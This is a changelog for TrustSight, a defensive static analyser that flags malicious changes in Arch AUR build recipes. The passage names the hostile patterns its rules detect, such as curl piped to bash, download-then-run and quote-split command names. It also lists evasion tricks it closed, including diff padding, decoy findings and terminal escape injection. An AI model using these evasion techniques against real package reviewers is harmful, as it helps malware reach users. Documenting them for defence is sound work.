Changelog¶
[0.13.1] - 2026-08-12¶
Fixed¶
-
The PKGBUILD workflow failed twice on every release. A release moves
pkgverand the recorded checksum in two separate commits, and it cannot do otherwise: the checksum is of the tarball GitHub builds from the tag, so it is unknowable until the tag exists.pkgbuild.ymlruns on every push, including the version-bump commit and the tag pointing at it, and asserted that the recorded checksum matches the tarball for the recorded version. Between those two commits that assertion cannot hold, so the job failed for a state the release procedure guarantees, once for the branch push and once for the tag push. The workflow now identifies the window (the tag forpkgverdoes not exist yet, orHEADis the tag's own commit) and skips the tarball steps with a notice. Outside the window the assertion is unchanged and just as strict. -
check()never ran against the release tarball it was added to protect. v0.12.1 added a build of the shipped artifact so a regression that breaks it fails CI instead of reaching users, but that build lives inpkgbuild.ymland could not see the release it was meant to guard. The only commit where the checksum assertion can pass is thepackaging: set checksum for vXcommit, whichrelease-pkgbuild.ymlpushes withGITHUB_TOKEN, and GitHub does not trigger workflows from such pushes. The guarantee therefore first held on the next unrelated push, well after users could install the release.release-pkgbuild.ymlnow builds and installs the tarball itself (makepkg -si --noconfirm, no--nocheck) in the job that already has the container, the tarball and the corrected PKGBUILD, so the release run proves the artifact before publishing it.
Stats¶
- 4 commits since v0.13.0
- 6 files changed, +106 / -6
- 2029 tests (47 files), all passing
- 51/51 security gates, 10/10 calibration gates
- Package version 0.13.1
[0.13.0] - 2026-08-12¶
Added¶
-
A public API (
trustsight.api). Every flow the CLI drives is available as a library:TrustSightexposesinspect,analyze_text,review,refresh_corpus,watch,pivot,history,packages,forget,prune,configandstatus, returning frozen dataclasses (Report,ReviewResult,Finding,HistoryEntry,TrackedPackage,CycleReport,PivotResult, ...) whoseto_dict()is byte-identical to the corresponding--jsonoutput. Thetrustsightpackage resolves these names lazily (PEP 562), soimport trustsightfor__version__alone never loads typer, rich or the analysis stack. The CLI and the API share one pipeline: the review engine moved out ofcli/review.pyintotrustsight.review, andcli/review.pykeeps its historical spellings as re-exports.review --jsonduring a metadata bootstrap now reports{"status": "metadata_downloaded", ...}and stays a pure JSON document. See python-api.md. -
Shared CLI/API evaluation semantics. The public API and CLI now consume one reporting layer for findings, verdicts, risk bands, coverage, changes, suppressions and JSON serialization. API limits, explicit package lists and watch parameters are validated before analysis begins, and API results are returned as dataclasses without rendering terminal output.
-
Public API inputs are bounded before side effects. Package and indicator names, repository and package lists, PKGBUILD text, metadata text, and history/review limits now have explicit ceilings with type and boolean validation.
-
Adversarial security coverage. Deterministic tokenizer fuzzing, regex audits, differ hostile-input checks, archive hardening tests and critical path policy tests are now part of the test and security-gate coverage.
-
A rule taxonomy (
RuleCategory).src/trustsight/categories.pygives every documented rule exactly one category naming the kind of claim it makes:fetch-and-execution,obfuscation,deception,install-and-persist,staging-and-recon,integrity,naming-and-dependency,maintainer-and-metadata,temporal,composition,count-based,corpus-behavioral, andcrossfire(reserved, no rules). This is a different axis from the per-rulecategoryfield, which names the capability a match touched and is what R072 counts; nothing about findings, scoring or the report payload changes.RULE_CATEGORIESmaps all 128 documented sections,category_of()andrules_in()read it, andtests/test_docs.pyfails if a rule is uncategorised, documented on a page its category does not own, or missing from the index.
Changed¶
-
The rules reference is one page per category.
reference/rules.mdbecamereference/rules/, with an index carrying the type legend and a quick-reference table for all 128 rules, one page perRuleCategory, andsystem.mdholding everything that is not an individual rule definition: therules.tomlfield table, the severity weights, the FATAL short-circuit, the measured fire rates, the Class A to E taxonomy, the C-series and D-series sections, and the reserved identifier ranges. Every meta anchor (#c-series,#d-series,#fatal-rules,#class-d-rules,#experimental-fire-rates,#not-rules, ...) keeps its spelling onsystem.md, which also keeps a stub anchor for every rule id pointing at the page that now defines it, so no#rXXXlink breaks. The index's legend and table are generated byscripts/build_rules_index.py. Rule text is unchanged. -
Differ input is bounded and deterministic. Generated patches, companion files, paths, and extracted URL tokens now have explicit limits; companion blobs are checked before reading, malformed hunks fail closed, and URL/file summaries use stable ordering. Adversarial differ tests and security gates cover hostile size, malformed syntax, and repeatability.
-
Diff truncation is UTF-8-safe and shared across analysis paths. Git and offline analysis use the same bounded prefix helper and preserve an explicit truncation flag, so partial multibyte input cannot corrupt parser text and truncated results remain covered by
diff_truncated. -
The rules reference documents every implemented rule. Added sections for R132 (Indirect Command Expansion), R136-R140 (Committed File Executed Without Declaration, Fetch Then Execute, Downloaded Source File Executed, Service ExecStart Targets Undeclared Binary, PATH Injection With Undeclared Directory) and a Declared-practice findings subsection for P001-P007; the delivery section header and Tier A span now cover R001-R140.
-
Tokenizer hostile-input coverage was expanded. A deterministic fuzz harness now exercises assignments, nested and cyclic expansion, malformed quoting, arrays, namerefs, command substitutions, diff markers, Unicode, memoization and the
scan_diffboundary. It asserts bounded output, termination, deterministic results and JSON-safe integration output without changing the deliberately open R133-R135 behavior. -
Regex backtracking remains bounded by input clamping. Rule matching still uses Python's standard
remodule; every logical line is clamped to 8 KiB before matching and the security gates measure hostile matching time. A staged regex hardening plan is documented in the security model rather than adding a new runtime dependency without comparative evidence. -
Configured regexes now fail closed at runtime. A pattern that exceeds the bounded adversarial probe budget is refused by the rule compiler instead of being run against package-controlled text.
scripts/regex_audit.pyaudits configured and source patterns, andscripts/benchmark_regex_engines.pyprovides an optional comparison with the third-partyregexengine without adding it as a runtime dependency. -
CI actions are pinned to immutable commit SHAs. GitHub workflow actions no longer follow mutable version tags, and the signed-commit workflow shares one canonical critical-path list with the security policy and contributor guidance.
-
Seed archive handling is stricter. Seed imports now cap archive member counts and refuse symlinks, hardlinks, device nodes and FIFOs before extraction, preserving the existing size and path-containment limits.
-
Documentation and default-report language were aligned with the security model. The README now describes deterministic evidence reports rather than risk-score verdicts, documents the opt-in
--score/--riskdisplay, removes the obsolete LLM wording, and points at the published documentation site.
Stats¶
- 19 commits since v0.12.1
- 84 files changed, +8112 / -2415
- 2029 tests (47 files), all passing
- 51/51 security gates, 10/10 calibration gates
- Package version 0.13.0
[0.12.1] - 2026-08-11¶
Changed¶
- The release tarball's checksum is validated end to end in CI. The Arch
containers install git before checkout, so
actions/checkoutperforms a real clone instead of falling back to the source archive (which honours.gitattributesexport-ignoreand therefore omitspackaging/). ThePKGBUILDworkflow downloads the actual shipped tarball, fails the build with an explicit error on a checksum mismatch, and builds from it withmakepkg; no--skipchecksumsanywhere. The release workflow computes the checksum from the served tarball, verifies it withmakepkg --verifysource, and commits the PKGBUILD and.SRCINFOto the default branch; the tag stays frozen so the tarball, and therefore the checksum, stays stable. - The PKGBUILD CI job now executes
check()against the release tarball. The build step dropped--nocheck, so a regression that breaks the shipped artifact fails thePKGBUILDworkflow instead of reaching users. - Calibration figures refreshed to the 3,246-diff locked corpus. The published numbers now match the committed corpus: 69.1% benign zero-rate, benign p95 = 45 against malicious p5 = 60, strict positive separation as the only separation gate. The stale 3322-diff references and pre-B10 numbers across security.md, the reading-a-report guide, fire-rates, the benchmarks page and the index pages were reconciled, and the CONTRIBUTING quick start now runs the security gates.
- The README was modernized to match the current CLI surface and the signed release channel, with verified links across the documentation.
Added¶
- R122: the corpus path reports archive trailer anomalies. The snapshot
tarball bytes fetched for the full-AUR corpus now go through
check_archive_trailer, a pure function over bytes: trailing bytes after the gzip member, a missing tar end-of-archive block, or content after the zip end-of-central-directory record produce a stamped R122 finding, surfaced exactly like the R118-tree scan results. The review path still never downloads PKGBUILD-declared URLs, so R122 only ever sees the AUR's own snapshot tarballs; see rules.md. - The malicious corpus is committed source. All 164 malicious
.diffbodies are now committed (a gitignore override fortests/fixtures/malicious/), so a fresh clone runs the recall and separation gates on the full corpus with no generator step.scripts/verify_fixtures.pychecks everyexpected.jsonrecord against its.diff(no missing bodies, no orphans, per-category counts), and a newfixture-determinismjob regenerates all five generators on a fresh checkout and fails if the tree drifts from the committed record. - A signed-commit policy, enforced on critical paths. Changes to the
tokenizer, scoring, config, database, security gates, CI workflows,
packaging, and baseline keys must be GPG-signed:
.github/CODEOWNERSassigns those paths to the maintainer, theverify-commit-sigsworkflow checks every critical-path commit in a pull request tomaster, andCONTRIBUTING.mddocuments key setup and the list of critical paths.
Fixed¶
- The release archive failed its own
check()step. Six tests intests/test_pkgbuild.pyreadpackaging/aur/PKGBUILD, which GitHub source archives exclude by.gitattributesexport-ignore(a tarball cannot contain the PKGBUILD for its own checksum).makepkg -sifrom the v0.12.0 archive aborted with six failures. The PKGBUILD-hygiene tests now skip whenpackaging/is absent, and still run in the repository checkout where the PKGBUILD lives.
Stats¶
- 11 commits since v0.12.0
- 198 files changed, +2370 / -425
- 1536 tests, all passing
- Package version 0.12.1
[0.12.0] - 2026-08-10¶
Added¶
- A release channel for every baseline. All baselines the tool consumes
now ship as signed GitHub release assets with the
baseline-prefix:baseline-seed.tar.gz(the hashed novelty seed),baseline-ioc-<source>-<incident>-manifest.json/-iocs.jsonl(per-curator IOC baselines),baseline-corpus.tar.zst(the corpus baseline) andbaseline-manifest.json(per-asset SHA-256, size and signature). Every asset carries a detached Ed25519.sigunder the pinned distribution key, verified before any payload is read; a download that does not verify is refused, never imported. New in the tool:trustsight seed fetch(download, verify, import), release-channelioc update(per-curator verification preserved on top of the distribution signature), first-run auto-import of a missing seed from the channel, andscripts/build_release_baselines.py(build, sign, self-verify, manifest). The.github/workflows/baselines.ymlworkflow builds and uploads the seed, IOC and manifest assets on every published release, signing with theBASELINE_SIGNING_KEYActions secret; the corpus baseline is exported by the maintainer and uploaded per the publishing guide. - A security model, stated and enforced.
docs/security.mdis now the canonical page: TrustSight as a program consuming hostile input (Part A), what a verdict claims and does not claim (Part B), an enforcement map (Part C), and a vulnerability disclosure policy written for a static analyser, with supported versions, severity timelines, and an explicit list of what is not a vulnerability (Part D). scripts/security_gates.pyand a CI job. Forty-five gates, one per invariant: no interpreter or shell execution, version arguments shape-checked, network confined to the four fetch modules, one declared host, every request timed out, bounded rule matching, bounded and never-indirect expansion, data-driven rendering, no archive extraction, parameterised SQL, inert terminal output, coverage failing closed, a gap always shown with the band, FATAL integrity, seed and baseline containment, reserved names refused by every writer. The v0.12.0 additions guard the two new subsystems: an IOC match always carries its source (A13b), never contributes to the score (B1), is reported when expired rather than silently dropped, and never appears in the rule config layer; the novelty seed stores no plaintext identity (P1) and hashes deterministically. Three gates guard the documentation rather than the code: the maturity numbers in B3 must be derived fromscoring._MATURITY_THRESHOLDrather than copied beside it; every link between pages underdocs/must resolve to a file and an anchor that exist; and the doc and the gate list must still describe the same set, so a guarantee cannot be added to one without the other.- Coverage accounting (
src/trustsight/coverage.py). Four gaps are now first-class onPackageFactand in the JSON:diff_truncated,line_truncated,tree_not_analyzed,unresolved_source. A gap never adds points, but it constrains presentation two ways: it forbids an UNFLAGGED verdict (the run reportsInconclusiveunless a HIGH or worse finding already stands), and it travels with the band wherever a person sees one, so an incomplete run renders asHigh (incomplete analysis)rather thanHigh. That second half closes the decoy seam: pad past the cap, put the payload after the cut, and include one cheap deliberate HIGH in the visible prefix. Reported as a weight-0COVERAGEentry in the breakdown and quoted inunresolved_sources. Machine output keepsriskbare withcoverage_gapsbeside it, plusrisk_labelfor consumers that display a band. src/trustsight/safe_text.py.clean()andsafe_markup()strip ANSI and OSC sequences, C0/C1 control bytes and DEL, and neutralise Rich markup, applied at every render boundary incli/. Stored evidence and JSON output stay byte-exact.PackageFact.risk. The verdict band is now carried on the fact and read throughscoring.verdict_level()(bare band, for machines) orscoring.verdict_label()(qualified, for people).- IOC Federation baseline system (v0.12.0,
src/trustsight/ioc_baseline.py). A signed, multi-curator, time-bounded inventory of known-bad artifacts (domains, file hashes, package names) that sits outside the heuristic score. Baselines are Ed25519-signed directories (manifest.json+iocs.jsonl), imported per source and replaced idempotently; each match names the curator that flagged it (attribution, not aggregation), carries its incident and evidence URL, and reports expiry rather than silently lapsing. A newIOC Matchstage runs after rule matching and attachesPackageFact.ioc_matches; matches never enterscore_breakdownand never move the number. New[baselines.ioc]config section,ioc_entriestable, andtrustsight ioc {sources,import,update,list,export}commands. See the IOC reference. - User-data hashing for the novelty seed (v0.12.0). The bundled seed's
~36k maintainer names and emails are stored as salted SHA-256 hashes, not
plaintext: the novelty and maturity signals need only "have we seen this
identity before", never the literal string. A per-seed 32-byte salt defeats
precomputed tables; the salt travels in
seed_meta. Names and emails are normalised (strip().lower()) at one hashing chokepoint so the seed build, the plaintext-to-hashed migration, and every runtime lookup agree. An old plaintext seed is migrated on first run and the original table renamed tomaintainers_deprecated_backup. Newmaintainers_hashed/package_maintainers_hashedtables andtrustsight seed {info,stats,migrate}commands. Documented in seed provenance. - Committed-file scanning (
differ.companion_source_hunks). A payload that ships as a file inside the AUR repo (declared insource=()or merely named by the recipe, e.g.bash "${startdir}/helper.sh") is now read with the same rules as the PKGBUILD. The differ used to feed onlyPKGBUILD,.SRCINFOand*.installto the scanner, so acurl | bashmoved one file over reached no rule; the whole current content of every companion the recipe names is scanned, so a payload committed earlier and referenced later is still seen. Unreferenced committed files are left alone. - Two coverage gaps.
unresolved_sourcenow tracks a multi-linesource=()array whose$(...)rides a continuation line, not only the opener; andunresolved_parse_timerecords a top-level command substitution that runs while makepkg sources the PKGBUILD for metadata, before any rule reads it. Both fail closed toInconclusive. - R137 (Fetch Then Execute, CRITICAL). The split download-then-run form a reviewer would read as two innocuous lines: a downloader writes a file and the same function later executes it. R001/R002 own the single-line pipe; R137 owns the split.
Changed¶
- The release channel is its own release kind. Baseline assets
(
baseline-*) ship onbaseline-<date>channel releases, published after the software release they serve so the tool's defaultlatestchannel resolves to them; software releases (vX.Y.Z) never carry baseline assets. The release baseline workflow only runs forbaseline-*tags and manual dispatch. - The novelty seed no longer ships inside the package. The 20 MB
src/trustsight/data/seed.db.gzis gone from the repo, wheel and package; the seed is distributed as the signedbaseline-seed.tar.gzrelease asset (v2 hashed format). First-run auto-import keeps working by fetching and verifying the channel asset (silently skipping on failure or offline), andseed fetchimports it on demand. The security model's network doctrine now names two declared hosts:aur.archlinux.orgeverywhere, andgithub.comconfined to the new fetch modulerelease.py(seed fetch,ioc update, first-run import), with thenetwork confined to the fetch modulesandone network host, declaredgates updated to match. trustsight full-auris safe by default: no accidental whole-AUR scrape. A missing snapshot used to silently trigger a from-scratch bootstrap that fetched every PKGBUILD in the AUR (~120k). That now refuses unless--bootstrapis passed. Every cycle, delta or bootstrap, is capped at[limits] corpus_max_per_cycle(default 2000) and resumes automatically, so a large amount of work advances in bounded, resumable chunks instead of one avalanche; a capped cycle does not advance the snapshot, run the corpus sweep, or export a half-built corpus until the transition completes.--resumeis now implied (cycles resume on their own) and kept only for compatibility. The intended cadence is incremental: runfull-aurperiodically so each cycle fetches only the changed packages.trustsight full-auris faster, rate-limited, and shows progress. The corpus build fetched one PKGBUILD per package serially, with feedback only every 1000 packages. PKGBUILDs are now fetched a window ahead, several at a time ([limits] corpus_fetch_workers, default 5); analysis stays serial and in package order so novelty still reads earlier packages' observations. The fetcher is a good citizen to the AUR's cgit (which rate-limits per IP and runs anti-scraping): a global aggregate rate cap (~5 requests/second) bounds the request rate regardless of worker count, and requests retry with exponential backoff on429,5xxand connection resets, honouring aRetry-Afterheader. On an interactive terminal the analysis loop renders a live progress bar on stderr (current package,M/N, elapsed, ETA), and falls back to periodic log lines when there is no TTY or under--json. Benign per-package snapshot fallbacks (a VCS or-binpackage with no tarball) dropped from a warning per package to debug, and a genuinely unfetchable PKGBUILD is counted and reported once. A latentTypeErroron the reserved-name path (_logger()called without its argument) is fixed.- The tokenizer normalises partial quoting.
c"u"rlandba"sh"are reconstructed tocurlandbashbefore rules match, the non-empty twin of the empty-quote rule, so intra-word quoting no longer hides a literal from the resolved-line rules. A standalone quoted argument (a message, a URL, adependsentry with structure) keeps its quotes, so tokenisation for the other rules does not shift. -
Maintainer identities hash through one chokepoint.
db._hash_maintainer_valuedelegates toseed_build._hash_value, and both normalisestrip().lower(), so a maintainer whose name or email differs only in case or whitespace is one identity rather than a fresh novelty signal every time. The two formulas used to be copied in two modules; identical then, they could drift, and a drift would silently miss every lookup. -
Declared verification is no longer credited (B10). Checksums,
validpgpkeys, GPG signature sources, source pinning and trusted-forge hosting were worth up to 25 points of discount. They are now weight-0 findings in a newPnamespace (P001-P003,P005-P007), reported in their own group under the line "TrustSight does not verify these claims. It reports that the recipe makes them."[verification_evidence]and[pinning_weights]are removed from the shipped config, so a localconfig.tomlcannot reintroduce a credit, andtrusted_forgeis 0.
These are declared-practice findings, not benign rules: they do not establish that anything is benign, only that the recipe declares a practice. Everything TrustSight sees is attacker-declared and TrustSight never fetches, so a signal an attacker can assert for free must not be able to lower a score.
Measured consequence. Benign p95 moved 35 to 45 against the 3,246-diff
corpus, and benign diffs above the 20-point threshold moved 8.9% to 16.3%.
Separation still holds (benign p95 45 < malicious p5 60) with the margin
narrowing from 25 to 15. The control-bin-package-declared-source fixture
moved 20 to 35: it remains a control for the delivery rules and is no longer
one for the threshold. Twenty is left as the published threshold because
moving it is a calibration decision with its own evidence.
-
docs/security.mdno longer claims 20 is the benign 95th percentile. It was, before B10; it now sits at the 83.7th. The page states the measured distribution instead, and the gate fails if the stale claim returns. -
Every page describing the subtractive model rewritten: the scoring formula and tier map in
rules.md, the Tier D tables inevidence-tiers.md, the "Why verification subtracts" section inscoring-philosophy.md, the worked examples and breakdown legend inreading-a-report.md, plusconfiguration.md,explanation/index.md,corpus-and-priors.md,cold-start-and-maturity.md,auditing-before-update.md,configuring-rules-and-weights.mdandindex.md. The calibration figures inreading-a-report.mdwere re-derived rather than adjusted: zero-rate 74.9% to 69.1%, benign p95 30 to 45, test count 1,365 to 1,377. - Generators are record-preserving.
gen_malicious_fixtures.pyno longer deletes diffs it does not own,gen_injection_fixtures.pymerges with the existing record instead of overwriting it, andgen_historical_holdout_fixtures.pykeeps curated entries verbatim. Regenerating any generator on a clean tree is now a no-op by construction. - R012
user:role marker relabelled as a negative control. The engine deliberately excludesuser:role markers (a question addressed to a model carries no instruction); the generator previously emittedR012-v5.diffas a positive, which failed the malicious-recall gate. It is now a documented negative (must_not_fire: [R012, R013],max_score: 0). R029-known-dep-addedrecord dropped. A vestigial placeholder (must_fire: [],max_score: 0,known_packagesgate) with no rule implementation, no diff body, and no code path referencing it; keeping it would fabricate a fixture for a rule that does not exist.- Channel releases keep the canonical seed and prove their own plumbing.
The baselines workflow now checks the channel release for an existing
baseline-seed.tar.gzbefore building: the canonical seed is maintainer-built from the full AUR mirror and uploaded, and CI rebuilds a lock-derived fallback only when it is missing (auditable but smaller, and never overwriting an uploaded seed). Every seed built by the published scripts now shipstrustsight-seed-v2/seed-provenance.json(source mirror path and size, package, maintainer and observation counts, build timestamp and command line), written bygenerate_seed.py --provenance-outand copied into the archive bybuild_hashed_seed.py --provenance, so anyone can reproduce the seed and diff their record against the published one. A manual workflow run doubles as a pipeline test; see publishing baselines. - Release tarballs no longer carry
packaging/.export-ignorekeeps the PKGBUILD out of the GitHub source tarball, so the release artifact can no longer disagree with itself. The CI side of the checksum contract is v0.12.1:release-pkgbuild.ymlcomputes the checksum from the served tarball, verifies it withmakepkg --verifysource, and commits it to the default branch;pkgbuild.ymldownloads the actual release tarball and fails the build on a checksum mismatch instead of building with--skipchecksums. - Machine-readable output stays machine-readable.
review,inspect,history,list,corpusandiocin--jsonmode keep stdout a pure JSON document: warnings and progress events go to stderr, errors become a JSON error object with exit code 2, andreview --jsonresults carry an explicitfailedflag, unconditionalsuppressed_rulesandioc_matches, and score fields only under--scoreand--risk. Negative--limitvalues and unknown--typevalues are rejected with a clean error instead of a traceback. - IOC and baseline handling hardened.
ioc importdedupes identical rows instead of crashing, keeps expired rows of a source across re-imports (entries_skipped), treats naiveexpires_atvalues as UTC, and reports malformed manifest versions or encodings as clean errors;ioc updatehonoursTRUSTSIGHT_OFFLINE;ioc exportrefuses to overwrite an existing file;ioc sourcesdrops the placeholder row. The seed and baseline import path rejects archive members that escape the extraction directory (absolute paths,..segments),import-baselinerefuses a non-file path, anddb checkanddb backupsurvive a corrupt database with readable errors and validate the backup output path. full-aurrefuses to do nothing silently. An empty metadata fetch no longer clobbers the stored snapshot, fetch failures are wrapped in actionable errors, a missing--signkey is a hard error, invalid watch intervals are coerced to the floor, and a failed watch cycle is retried instead of killing the watcher.config setvalidates keys and value types andconfig showtolerates hand-edited non-integer weights;overridetolerates null reasons and dedupes new entries;forget --prunerefuses partial RPC replies and handles EOF on confirmation; discovery reports a friendly error when pacman is missing from PATH; the display layer escapes rich markup in untrusted messages.
Added¶
- B7, a change summary on every result.
changesonPackageFactand in the JSON, sibling tofindingsandcoverage_gaps, so "nothing fired" cannot read as "nothing happened". Plain strings, no severity, never intriggered_rules;.SRCINFOand.gitignoresuppressed as always-noisy. - B8, findings are checkable. Content rules carry
fileandline; the 40 rules that legitimately cannot (temporal, maintainer, corpus, longitudinal, dependency) declare an evidence class infindings.NON_CONTENT_RULESrather than omitting the field silently. - B9, no output grants permission to skip review. A denylist over the rendering templates, which caught a live violation on its first run: the no-findings verdict ended "No risk signals fired." with no direction to review, and now reads "No published rule matched. Review the diff before building."
scoring.FLAG_THRESHOLD, so the 20-point threshold is read rather than repeated.
Fixed¶
-
Resolved rules lost their line numbers. Fifteen shipped rules (
R001,R002,R003,R008,R012,R039-R045,R055-R057) matchmatch_target = "resolved", andapply_ruleslooked a finding's location up inline_mapby the finding's position in the compacted resolved list - butline_mapis keyed by raw diff-line index, and the resolved list omits assignment lines, so the positions did not line up. Every resolved rule fired with nofile/line(or, on a position collision, the wrong one). The tokenizer now records the raw diff-line index of each resolved string (tokenize_and_resolve_indexed), andapply_rulesmaps through it;full_aurgained theline_mapit never passed. The B8 gate, which caught this in CI, now runs undershipped_config()so a localrules.tomlthat overrides a rule'smatch_targetcan never mask it again. -
Three render bugs found by looking at the output, not by a gate. The Score row printed the previous row's caption as the risk band (a
for label, value in rowsloop shadowed it); the tool's own[cyan]markup printed literally in the Rules Triggered rows, because it was passed toText.assemble, which does not parse markup; and the declared-practice group left a ragged empty column for findings with no line number.
Added (security model corrections)¶
- B1 restated: determinism is algorithmic, not configurational. "The same
input always produces the same number" was false, and invited a Part D report
under the nondeterminism clause: two operators with different
rules.tomlget different scores by design. Reports now carry aconfig_fingerprint, a digest over the effective ruleset, scoring weights, thresholds and active overrides, so the claim is checkable. Part D's clause now reads "the same input, under the sameconfig_fingerprint, producing different numbers". - A14, the overarching resource guarantee. A4 bounds what arrives, A5 what is matched, A6 what is expanded; together, no package-controlled input decides how much CPU, memory, network or disk this process uses. Every bound is a source constant rather than a function of the input, and every bound that drops content records a coverage gap, tying the guarantee to B2 so a bound can never be used as a quiet skip.
- B9 inverted from denylist to structural requirement. A denylist over
phrasings is a treadmill. Every verdict now ends with a direction to review,
and the primary gate asserts that the direction is present rather than
that a phrasing is absent. Four of the five verdict paths were ending without
one (first analysis, first analysis with versions, the FATAL path, and the
signals path); FATAL now ends "Do not build this package. Inspect the diff and
report it." The denylist is retained as a secondary check and is now scoped to
template text only, via AST rather than a line regex, so a package named
safe-rsorclean-archcannot trip it. That is A7's separation applied to B9: templates are code-owned and checked, fields are package-owned and never checked. - A3 addendum: cloning executes nothing. libgit2 runs no hooks on clone and
TrustSight configures no
clean,smudgeorfsmonitorfilter, the git-config paths where a fetch becomes an execution. Documented as a property of the library rather than a control this project adds. - A10 addendum: sanitisation is not transliteration. A name built from homoglyphs renders as the characters it contains, because rewriting an identifier would misrepresent what is installed. Name-level confusability is a detection concern, not a rendering one.
- Baseline import reports its delta instead of warning on it: "N package(s) moved from no-history to warm". A threshold on "novelty dropped across many packages" would fire on the success case, since that is a baseline's entire function. A13's real defence is the bound on what a baseline may write.
Fixed (audit pass)¶
forget --pruneechoed database-stored package names raw. The A10 gate exercised the review, inspect and corpus renders and notforget,historyorlist, so the one surface printing unsanitised names was outside it. Now cleaned, and the gate renders six surfaces instead of four.historyandlistre-derived the band from the saved score, so a run thatreviewreported asInconclusive (incomplete analysis)displayed a bare "Low" or "Medium" the next time it was listed, violating B2 on two surfaces.scoring.stored_band()now reads the band and gaps from the row'sfact_json; rows written before that field existed fall back to the derived band and are reported as complete, which is the only honest thing to say about them. Band colour keys off the bare word viadisplay.band_colour().- The change summary never reported dependency changes. Dead twice over:
fact.dependency_changeswas set by nothing, andchanges.summariseread a{op: names}shape whileextract_dependency_changesreturns{field: {added names}}. Addingdepends=('qt6-svg')now yieldsdepends: +qt6-svg. DECLARED_DEFAULTwas defined and referenced nowhere, so every declared practice rendered every time and B10's documented default-subset behaviour did not exist. Now applied: the surprising-by-absence set (P002,P003,P005) renders by default with "N more declared practice(s); --verbose to list them", andPfindings no longer duplicate into the Rules Triggered block.- The calibration wording overclaimed.
calibration_gates.pyre-computes benign p95 and malicious p5 on every push and nothing else, so the aggregate figures are a point-in-time measurement.security.mdnow says so, andfire-rates.mdactually publishes the table it was said to publish. - The seed release path logs through a real logger.
db.pyreferenced a modulelogit never defined, masked until now by a broad exception handler, so failures while seeding from the release channel died without a reason; the module logger is defined and a test pins the failure path.config.py's\sescape no longer triggers a SyntaxWarning, andexport.pydrops a dead assignment left over from the baseline export rework.
Performance¶
- Analysis is about 42% faster: 14.9 ms to 8.7 ms per diff, and a full 3246-diff corpus scan now completes in 31s. Detection is bit-identical: the calibration gates, the campaign fixtures and the whole suite were re-run after each change.
tokenizer.resolve_added_linesis memoised per thread. Twenty call sites inanalysis/asked for the resolved form of the same diff and it was recomputed every time, about a third of the cost. Keyed on identity rather than equality, because hashing a multi-megabyte diff twenty times to avoid computing it twenty times is not a saving.rules._classify_enclosing_functionis memoised the same way, keyed on content because each of its fifteen callers holds its own copy.config.load_tomlgainedcopy_result=Falsefor the six accessors whose callers treat the result as read-only.load_rulesandload_configkeep the deepcopy:apply_rulesgenuinely assigns torule["pattern"].- Both memos are thread-local.
reviewanalyses packages in a pool, and a shared cache would need its eviction sweep to be atomic with the insert; it is not, and aKeyErrorin a worker surfaces as "this package was NOT vetted". Five tests pin the properties that make the memos safe: no sharing between callers, no confusion between diffs, no leakage across threads, and no mutation of the shared config tables.
Fixed¶
- The truncation bypass. Padding a diff past
max_diff_bytesand appending the payload turned a High into a Low.diff_truncatedwas set, serialised, and consumed by nothing but a sentence prepended to the verdict. It is now a coverage gap, andscan_diffapplies the same cap the git path always did. Inconclusivewas computed and then discarded. Every CLI path re-derived the band withrisk_level(final_score), which cannot express it, so the downgrade never reached the output.- AUR-controlled text reached the terminal raw. Package names, maintainer names, file paths and quoted evidence could clear the screen, forge a verdict, recolour a row, or abort the render of a whole review batch with an unbalanced Rich tag.
- A seed could rewrite the database it was merged into.
import_seedcopiedseed.metadatawholesale withINSERT OR REPLACEand overwrotemaintainer_counts. It is now limited to the two keys a seed owns, cannot raise a locally learned maintainer count (which would suppress R071/R090), and records the imported artifact's SHA-256 and origin. - A FATAL rule could be deleted from
rules.toml.override.pyalready refused to suppress a FATAL finding; deleting or downgrading the rule was unguarded.config.enforce_fatal_rules()now re-asserts the shipped FATAL set in memory at load, warns, and writes nothing back. - The AUR metadata fetch had no timeout and no response cap, unlike every
other fetch path. It is on the default
reviewpath, so it was the one that would hang. - Rule patterns ran on unbounded lines. Input is clamped to 8 KiB per
logical line before matching, which bounds every pattern at once. The clamp
is itself a truncation seam, so a diff containing an over-length line now
records the
line_truncatedcoverage gap rather than skipping the tail silently. _MAX_EXPANSION_DEPTHwas declared and never applied. Removed, along with a dead helper inresolve_expansions. A bound nothing enforces reads like a guarantee. The bounds that are real (passes, value length, line length, table size, and refusing${!x}and${#x}) are now stated as invariant A6.- Config lists became regex.
hosts.tomlports and TLDs are now escaped before being joined into the R047/R048 patterns. corpus pivotread a snapshot from the working directory, so the answer depended on where the command was run and a planted file could steer it. One location now, under the config directory.- Three more instances of one recurring failure, now written up in reviewing a security control: a control applied at one of several equivalent call sites, with the gate pointed at a covered one.
terminal output is inertexercisedreview's renderer only._inspect_richinterpolated a rule id raw and leaked escape sequences; the gate now renders through four paths and names them in its result, andcli/corpus._render_pivotwas extracted from its command so it could be one of them.- Four of the five
PackageFactproducers setcoverage_gaps. The first-analysis path declaredtree_analyzed=Truehaving read no tree at all and reported a bare "Low". The newevery result declares its coveragegate walks the AST for every construction, so a sixth producer fails rather than shipping a false coverage claim. pacman -Sl <repo>had no--separator, unlike thepacman -Qcall beside it. The repo name is operator input rather than package input, so this is consistency rather than a hole, but the separator is free.- The line clamp only covered half the rule engine. A5 claimed the 8 KiB
per-line bound applied to every pattern "in a way that no per-pattern audit
can". It applied to
apply_rules, which runs the ~30 patterns inrules.toml, and not to the ~88 patterns emitted fromanalysis/, which match the diff text directly. Measured on one 5 MiB line: 0.17s throughapply_rules, 15.06s through the code-emitted rules, an attacker-chosen multiplier on review time bounded only bymax_diff_bytes.rules.clamp_textnow clamps the text handed to the code rules at all three call sites, shortening lines without dropping them so line numbers stay aligned. Same input is now 0.54s end to end, withline_truncatedstill recorded. The gate was measuringapply_rulesalone, which is why it reported the property as held; it now measuresscan_diffend to end and asserts the gap is recorded, so bounding the work cannot silently bound the evidence. - The reserved-name guard covered one writer of three.
upsert_packagerefuses__seed__and any__-prefixed name;save_package_profileandsave_pkgbuild_snapshotdid not, and both are on theimport_baselinepath. AUR names may begin with an underscore, so__seed__is registrable. No leak into user-facing queries was reachable (those filter the sentinel), so this was a latent inconsistency rather than a demonstrated exploit. All three writers now refuse,db.is_reserved_namelets corpus callers skip instead of raising, and the baseline importer treats a rejected row like a nameless one: logged and skipped, never fatal to the import. - A heading rename could silently break every link to it. Renaming a
section leaves every sentence on the page true and quietly disconnects the
claims that pointed at it, with nothing failing anywhere: the documentation
form of skipping content without recording a coverage gap. It nearly happened
when B2 was reworded. The
